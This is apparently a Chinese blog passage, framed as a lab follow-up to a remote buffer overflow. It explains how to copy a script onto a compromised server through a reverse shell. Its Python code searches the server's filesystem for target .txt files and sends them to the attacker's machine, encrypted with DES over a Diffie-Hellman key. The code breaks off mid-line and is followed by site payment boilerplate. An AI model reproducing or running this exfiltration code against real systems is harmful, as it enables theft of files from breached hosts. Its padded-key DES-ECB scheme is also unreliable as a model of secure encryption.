网络安全远程缓冲区溢出后续

利用漏洞将自己的脚本送上服务器

因为我们获得了反弹shell,所以可以在命令行使用 scp 命令,将客户机上的脚本复制到服务器上来

scp 客户机用户名@客户机ip: 脚本目录 存放的服务器目录

然后我们可以直接在反弹 shell 上运行该脚本

扫描服务器所有文件,并查找目的文件

def findtxt(filedir):
    for root, dirs, files in os.walk(filedir):
        for f in files:
            if '.txt' in f:
                if MyName in f:
                    filename.append(f)
                    filesdir.append(os.path.join(root, f))
    return

设计密钥管理机制和传输加密方案,将目的文件网络传输到客户机

def send():
    sums = len(filename)
    for i in range(sums):
        BigPri = get_prime()    #DH中的大素数
        PriRoot = get_generator(BigPri)     #大素数的原根
        Rand_A = random.randint(0, BigPri-1)    #DH中服务端的私钥
        cal_A = get_cal(PriRoot,BigPri,Rand_A)  #DH中服务端的公钥
        print("BigPri is %d,PriRoot is %d,Rand_A is %d,cal_A is %d"%(BigPri,PriRoot,Rand_A,cal_A))
        sock_client.send(str(BigPri))       #将大素数发送到客户端
        print("BigPri had been sended...")
        time.sleep(1)       #暂停一秒,发送的太快,接收方可能一次性接受好几个信息,可能会报错
        sock_client.send(str(PriRoot))      #将原根发送到客户端
        print("PriRoot had been sended...")
        time.sleep(1)
        sock_client.send(str(cal_A))        #发送服务端的公钥
        print("cal_A had been sended...")
        time.sleep(1)
        cal_B = int(sock_client.recv(1024)) #获取客户端的公钥
        print("cal_B had been recved...,it's %d"%(cal_B))

        S_a = str(get_key(Rand_A,cal_B,BigPri)) #计算出商量好的密钥
        if len(S_a) < 8:
            S_a += '0' * (8 - len(S_a))     #DES算法需要固定密钥长度,所以不够我们得人为补充上去
	
        des = DES.new(S_a,DES.MODE_ECB)

        print("Sending the %d file..." % (i))
        # 以读的方式打开文件,读取文件内容发送给客户端
        # 第一步:制作固定长度的报头
        header_dic = {
            'filename': filename[i],  # 1.txt
            'file_size': os.path.getsize(filesdir[i])
        }
        header_json = json.dumps(header_dic)
        header_bytes = header_json.encode('utf-8')
        header_bytes += (8 - len(header_bytes) % 8) * '='

        # 第二步:先发送报头的长度
        sock_client.send(struct.pack('i', len(header_bytes)))

        # 第三步:再发报头
        encrypto_header_bytes = des.encrypt(header_bytes)
        sock_client.send(encrypto_header_bytes)


        with open(filesdir[i], 'rb') as f:
            for line in f:
                print(line)
                line += (8-len(line)%8) * '='       #DES加密分块,所以我们得进行填充,将其正好能分块加密
                encrypto_lin
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值